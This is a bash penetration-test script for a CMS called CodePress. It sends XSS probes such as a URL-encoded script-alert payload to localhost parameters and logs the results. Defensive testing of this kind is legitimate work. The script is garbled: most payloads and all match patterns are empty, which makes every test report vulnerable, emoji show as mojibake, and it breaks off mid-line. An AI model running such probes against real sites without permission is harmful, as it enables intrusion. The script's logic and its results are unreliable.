#!/bin/bash
# CodePress CMS Penetration Test Script
# WARNING: Only run this on systems you have permission to test!
TARGET="http://localhost:8080"
RESULTS_FILE="pentest_results.txt"
echo "š CodePress CMS Penetration Test" > $RESULTS_FILE
echo "Target: $TARGET" >> $RESULTS_FILE
echo "Date: $(date)" >> $RESULTS_FILE
echo "========================================" >> $RESULTS_FILE
echo "" >> $RESULTS_FILE
# Colors for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m' # No Color
vulnerable_count=0
safe_count=0
test_vulnerability() {
local test_name="$1"
local url="$2"
local search_pattern="$3"
local is_vulnerable="$4"
echo -n "Testing: $test_name..."
response=$(curl -s "$url")
if echo "$response" | grep -q "$search_pattern"; then
if [ "$is_vulnerable" = "true" ]; then
echo -e "${RED}[VULNERABLE]${NC} ā"
echo "[VULNERABLE] $test_name - $url" >> $RESULTS_FILE
((vulnerable_count++))
else
echo -e "${GREEN}[SAFE]${NC} ā
"
echo "[SAFE] $test_name - Pattern not found" >> $RESULTS_FILE
((safe_count++))
fi
else
if [ "$is_vulnerable" = "true" ]; then
echo -e "${GREEN}[SAFE]${NC} ā
"
echo "[SAFE] $test_name - Attack blocked" >> $RESULTS_FILE
((safe_count++))
else
echo -e "${YELLOW}[UNKNOWN]${NC} ā ļø"
echo "[UNKNOWN] $test_name - Unexpected response" >> $RESULTS_FILE
fi
fi
}
echo -e "\n${YELLOW}========================================${NC}"
echo -e "${YELLOW}1. XSS VULNERABILITY TESTS${NC}"
echo -e "${YELLOW}========================================${NC}\n"
echo "1. XSS VULNERABILITY TESTS" >> $RESULTS_FILE
echo "----------------------------" >> $RESULTS_FILE
test_vulnerability \
"XSS in page parameter" \
"$TARGET/?page=" \
"" \
"true"
test_vulnerability \
"XSS in search parameter" \
"$TARGET/?search=" \
"" \
"true"
test_vulnerability \
"XSS in lang parameter" \
"$TARGET/?lang=" \
"" \
"true"
test_vulnerability \
"XSS with HTML entities" \
"$TARGET/?page=%3Cscript%3Ealert%281%29%3C%2Fscript%3E" \
"" \
"true"
test_vulnerability \
"XSS with SVG" \
"$TARGET/?page=